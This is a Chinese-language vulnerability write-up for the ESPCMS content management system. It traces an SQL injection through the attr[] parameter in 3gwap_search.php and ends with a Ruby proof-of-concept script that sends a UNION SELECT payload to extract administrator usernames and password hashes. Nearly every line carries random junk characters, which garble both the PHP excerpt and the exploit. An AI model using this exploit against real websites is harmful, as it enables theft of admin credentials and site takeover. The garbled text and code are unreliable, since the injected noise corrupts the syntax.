0×0 漏洞概述0×1 漏洞细节, o8 ]" m& V) r# _ Q
0×2 PoC
; X2 j5 o3 V0 c$ @* V
& R9 t+ P$ F: ], _5 z+ Z" H. i- q& j6 c- ^# m; s2 ?
4 _& w" q9 t; P3 I r1 C
0×0 漏洞概述" f, V1 k6 Z% |+ P Z# ]4 w
5 I/ V, @) |& `+ O# _+ u
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
! \$ c. I) z# f+ h2 @, A其在处理传入的参数时考虑不严谨导致SQL注入发生
+ ]# Q& l; w- m0 t
' ^- J# W$ z$ ^1 Y( u5 ^3 b G5 o; ]
0×1 漏洞细节
( M% }$ s/ k! ~0 V- U; i! u" ?; Q. h( V& A. B
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。$ z; \; \6 Q* G$ N7 |: S8 J
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
* p! Q; D# c" o7 v! g' a而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
4 ?# p* W4 L. m. N& E% _
9 ]. |( z3 y3 B2 `) m9 P在/interface/3gwap_search.php文件的in_result函数中:4 K5 ?7 \' B# F# ^/ n5 H( A
( b: Q; H' ~5 |
4 k: s! y; ~$ \: u* N: V; D, A3 t
& o0 `: j( E5 R# v C7 L& ?
function in_result() {. {, R9 ~* _& G4 T0 A }
... ... ... ... ... ... ... ... ...
) d3 x% j- f' m: d6 ]+ O5 o+ p* j $urlcode = $_SERVER[ 'QUERY_STRING '];
2 P# }. M/ }$ o1 I8 y parse_str(html_entity_decode($urlcode), $output);
6 o9 G8 x( I' ]3 |
0 P8 v* ?7 U# |, ]5 P, {! s ... ... ... ... ... ... ... ... ...
P6 l; H3 W' \" p8 r- K" \1 F if (is_array($output['attr' ]) && count($output['attr']) > 0) {
( |6 q9 y! C; X' `$ D! P( p- h; d
$db_table = db_prefix . 'model_att';
5 e" p* a/ R. M" e% s4 M1 w" K3 i; z1 j( q# E
foreach ($output['attr' ] as $key => $value) {0 Z( ]5 _6 U. o3 y6 K! O, p
if ($value) {7 h. l4 S, a( x9 L1 e$ |# l
* |6 W/ ] h3 B) q
$key = addslashes($key);
$ s0 }7 x# f0 @( ~) l$ x9 x4 y $key = $this-> fun->inputcodetrim($key);
' k1 Z' W+ F; N* T5 W $db_att_where = " WHERE isclass=1 AND attrname='$key'";% O) C# p# u1 s5 Q3 N/ c* g/ ]
$countnum = $this->db_numrows($db_table, $db_att_where);4 h6 X. _) @3 |/ `. k6 ]
if ($countnum > 0) {3 ?% `' s/ }- l9 @6 q2 J
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
# p+ { b( Y3 V3 | e }
/ A8 A V3 w4 V% @2 X% D }
$ ^: x7 c! y% c u9 d }$ z$ ~' C& W' i( R' l
}: @% X, c, w& Q7 ]. B
if (!empty ($keyword) && empty($keyname)) {
% Q8 X3 y v7 W: f/ O Y2 g $keyname = 'title'; h4 K- g9 r# \7 W; B
$db_where.= " AND a.title like '%$keyword%'" ;* a' v3 \( K+ h; o7 _4 a/ C5 x V
} elseif (!empty ($keyword) && !empty($keyname)) {- o; k' `( Z# @& T& m% [9 l: u z8 v/ X4 O
$db_where.= " AND $keyname like '% $keyword%'";% ~1 F/ o7 T/ k, q8 `
}
/ ~& e# K6 X9 X. _% v $pagemax = 15;
1 C1 K2 p( G9 v6 H0 ^, F z6 M! n* v# h7 K) g- C( Z2 @/ }7 W- q. N
$pagesylte = 1;
( J- Y- j- x- z7 q* k/ h, z" s$ [ U0 [0 c# [9 y
if ($countnum > 0) {/ { Q: g' n7 t, U! N# [& r
( n- L- V; X. k/ e$ k $numpage = ceil($countnum / $pagemax);. V* ~7 ~6 _6 k, k) y, {/ y6 m8 H$ y
} else {
9 ]/ u6 _; N7 p, ^' Z4 s0 ` $numpage = 1;
" j* y6 ]2 {$ w# v, t, ]7 ~& @3 w }" r4 t# a( W3 e. k% c; `! J
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;* I; {+ d+ n- T X O( d, m
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);: `( C1 ^- L' h
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);$ K+ S; J' ]3 w& N X& z8 c, Z
... ... ... ... ... ... ... ... ...' }2 V! C# [$ G* w. \ q
}
9 |; W/ l8 w5 T5 u' K1 O- u7 J3 F; t" b4 {% F
& ^& G6 x f v0 {/ R1 c, F7 X$ T0×2 PoC. V: `/ ?( Z( L2 N0 @, x8 f* T1 H1 B
% {) u6 Z9 T4 n7 ~! t- r
; q1 N% w/ |1 }
/ x1 A9 J; i/ o0 i7 Arequire "net/http"
/ H$ k. e( ]9 `" m3 _! V3 k9 U1 U
def request(method, url)# a9 x+ H5 U& t2 y
if method.eql?("get")% Q ]/ P! Y% h% a: w- O$ a
uri = URI.parse(url); }( E: r1 T/ E# t
http = Net::HTTP.new(uri.host, uri.port)$ J+ T% U% N; B4 L7 Y* ]* ~, m
response = http.request(Net::HTTP::Get.new(uri.request_uri))
\1 I% T) F8 g/ g- \. q% ^" x return response
0 C. Q( e( \6 L" E end
, y1 C6 q$ b( M. e K- iend' T4 [" y, R5 w: h1 O% ?
0 q8 i. q* V5 N, ?; l8 X) f/ c8 j5 F
doc =<<HERE7 |1 K' x3 c0 {. {. X
------------------------------------------------------- b* n0 L5 z# v: g' {; _
Espcms Injection Exploit
/ J* ^ `' f/ v2 \Author:ztz. Z+ v+ g3 O. Z3 A) g+ p
Blog:http://ztz.fuzzexp.org/
4 S$ T# k2 V& r" {-------------------------------------------------------# ~- k6 k" Y( v R, G" `0 p# R
+ {4 j' D Z# F5 C; V3 D3 h
HERE
$ e/ F4 o" ^0 w9 l/ i
+ e+ n! J e2 Y) p: P; G9 Busage =<<HERE' p( m8 O7 l& u1 k9 C8 p+ i
Usage: ruby #{$0} host port path" m) m- H/ u7 l0 }
example: ruby #{$0} www.target.com 80 /7 e! H# o7 \ v
HERE
8 j% R8 M( C8 }- ?+ ^
9 {1 b: X o3 H- ^* M+ lputs doc( n$ Z0 t. s9 G* ^$ A; o/ h
if ARGV.length < 3
# G/ {+ T3 r2 b puts usage5 ^4 A- m3 _8 Z7 f" q
else8 v# n: g- r2 [# ?1 W6 P
$host = ARGV[0]
% P S- v& f6 _/ | $port = ARGV[1]3 S( N5 v$ F! C: ^1 S4 D6 I
$path = ARGV[2]
6 g$ S9 A3 e2 y+ H6 `" A' D* O/ C& V3 }, h0 D1 c
puts "send request..."7 x& f$ b. a8 K+ \. @8 p2 k/ `3 H
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
- R- H+ y$ z* ~, aattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,134 q+ J$ t# F4 A) M8 X |9 x" L
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,273 W% [* v$ S4 y4 o
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"$ Q+ c* ^3 V# Q4 K9 D0 h
response = request("get", url)
* P- z) O3 r% e$ B, Y* D" W result = response.body.scan(/\w+&\w{32}/)+ u* n x/ {, r6 ]+ n2 }) w
puts result
' y$ B6 S" D) \5 gend
/ h, y3 @+ X$ R) ?4 t
& u# c8 y% Y" a5 s/ l |